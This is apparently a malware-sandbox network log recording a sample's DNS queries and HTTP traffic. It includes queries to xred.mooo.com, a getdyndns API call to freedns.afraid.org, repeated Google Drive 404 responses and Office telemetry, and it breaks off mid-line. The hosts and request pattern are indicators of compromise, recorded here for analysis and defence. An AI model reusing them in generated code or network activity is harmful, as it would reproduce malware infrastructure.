Source: global traffic	HTTP traffic detected: GET /rules/rule170022v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule490016v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule324002v5s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule324004v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule324003v5s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule324005v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule324006v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1User-Agent: MyAppHost: freedns.afraid.orgCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: docs.google.com
Source: global traffic	DNS traffic detected: DNS query: xred.mooo.com
Source: global traffic	DNS traffic detected: DNS query: freedns.afraid.org
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:27 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-QmURmdfzqar53fGVveW8_Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1642X-GUploader-UploadID: AHxI1nPPmZn_kGA1Yx6g_-4MDC2FZYXyWcz6inVd83anIb1LYUV8g76tEUOQcdHSmC74aPfA-I8Server: UploadServerSet-Cookie: NID=516=K7m8tHZDnGq90iUqI5rxOUdUR3R_f_5jU1Zo5TdCu1uY1zr7Yxh7MNjc33tcVZldkKVBHtqy8WCJLZlBfsFY-okGRfCO08RjxLphxxUAK7uFpPpkJ8v8GPRTGO9uC1ZBqG2YsfkMzxwfXEDn2AuwXZYCeg3VOIvIJewm0IN5Lzg; expires=Fri, 21-Feb-2025 11:10:27 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:27 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-1eRVSGTPtmWRCC3day7AyQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nOiipjxgvu_exngT88LMTtT77nd2pFAe0iAm_Mzv7rndyqnwZaZmWntq6CUKLRZu0P2j6k6K5AjnwServer: UploadServerSet-Cookie: NID=516=rCc0QtacRxNTiNk6qKKNMTOjhjhJCqfirJwWzdCRzRrME7dwzoPCSbIinVVjHLpdB9Ia8cQRRvIAywD3cziWatk1LcrZKlpvosVvcwYW-smRFbxdWMC0qg2E4wihwDUYGk2yKt1mv0gO3_I9QirqUJPuH-ofWtkQkEIGUh-3eJ8; expires=Fri, 21-Feb-2025 11:10:27 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:28 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Content-Security-Policy: script-src 'report-sample' 'nonce-0KVQ4QIBWTxbyqiByNpBFw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nNTWaen8wKCJs2dPyp3JKh_Jv5RW-ApRAr4ohrf0r0wY95fB31c69C6qmihL_qpGym0hgServer: UploadServerSet-Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc; expires=Fri, 21-Feb-2025 11:10:28 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:28 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-DH25SZtDZNIdr11LO2CPaQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nN4wqwOJ6NGe1XApPIfjMtydE8PYFMQww9bLLJKSxVp-SRtJGhtqkbgalVPTwAg-2XquRWAi1p1ngServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:29 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-txdPVNq5uqPlvjvV-IKDmg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nPsbSTQnHA9X3ww562wW4VdgYNegBfpn-ECqUYK3aIxmRwaYWqb0W6fjSWUZlyys7mlB8sServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:29 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-v4f1lCCr1tXaioEnllMnSg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1642X-GUploader-UploadID: AHxI1nNq-ZwLLf1vtgekUdoj69OyoJetaW7oviE33VmGPPHmMUS171c9ZtkMyamdMOnLL5jcf-SaAullMgServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:32 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-DIdudGPBGS4IRY30wYtVZw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nObySYy1GXxY5dRcHVk5ztMsPGKELkqSofHh4me3PeBi0R4OthoNwQBkUqPvgBSSmykk0wServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:32 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-TB0FQqs4elNNw5_1c5ye1g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nP49CK8sXyrpTbcZvGleC0pUo8IUqANDpSO8iYgUw1kfyVivNpUAFNRyyPGbWjTvt7p1gServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:33 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-pTQbPTFDLgi7TWRcF1XvFw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1642X-GUploader-UploadID: AHxI1nNIsd8yzhPHR4iuRzaLg2U-dduXs3eT0rHI2Wek1pfdw_Te--6xR3aar-qtSaf-wCEaB9MServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:33 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-5m7ZDboueu8ImxlOR9yzfg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nPxodzdtWsNERwyI0wYWg6VeTWTitpVDF3rmcuQNsZHWyRNo5BjOYsAifvlgtz5U57k-AServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:35 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-3u_Fo7gE2TgvgB2AyiI-Qw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1642X-GUploader-UploadID: AHxI1nMT3eVo-h6NCXTnNQq_NybEErhtwZ2-1AoR2mMV28RomG4DjhefyPqSYdy-juzHslLVFfn-hoq5XgServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:36 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-a0kDgdUrBOj1xYHcYro5CQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1642X-GUploader-UploadID: AHxI1nNnlnH4GYaxxuqNt414rK74oKFyMgZY6ES8dS2HgzgvuixDlbWwOOXI_3PxEV-umujOmMsServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:36 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-qEUO_If3rIDurUFKnDSpAA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nOtYijWzdww2NahLO96-miBf6vTXkObK5-jByruCe8h-Cn3U36i17vrwDZUdmHuOiqkpAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:37 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-EDuQ5CA0Lc_6AtEjwFGU-g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nPFRwB-AaZqmHCw-s2yNW43Yjs0UOUXV9_iCGY0sQXMkFGuuami6aSorz1lFsEcAh005AServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:37 GMTCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-YyhgTbgpiq2CIkzilKwBBg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nNv5Cj8xs7h8pShTuta87LVwUQg85tx0S2RQqUtVm_h7MKggoT3MqnL8J04HTck-xa8NQsServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:40 GMTCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-VTsEbac-T3sV1YRDzZ7sBA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nNK6XBE2yCxr81djGDFZFZrlqRc8oZ3fV85ZDXkmHkSX5jSbUJcEgF6y0DIUxKd-RGwQfYServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:40 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-Rnc_DhPk9MoWtQDLRZRLcg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nOaAXPild0yYM9xMQqkF1xvj4xW-IfishjPaMSUtpJjxR4Dcepcc-gUtRZU9PQKBpcLghQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:10:41 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-b63SwiniAadn9cQrpQY1ug' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: 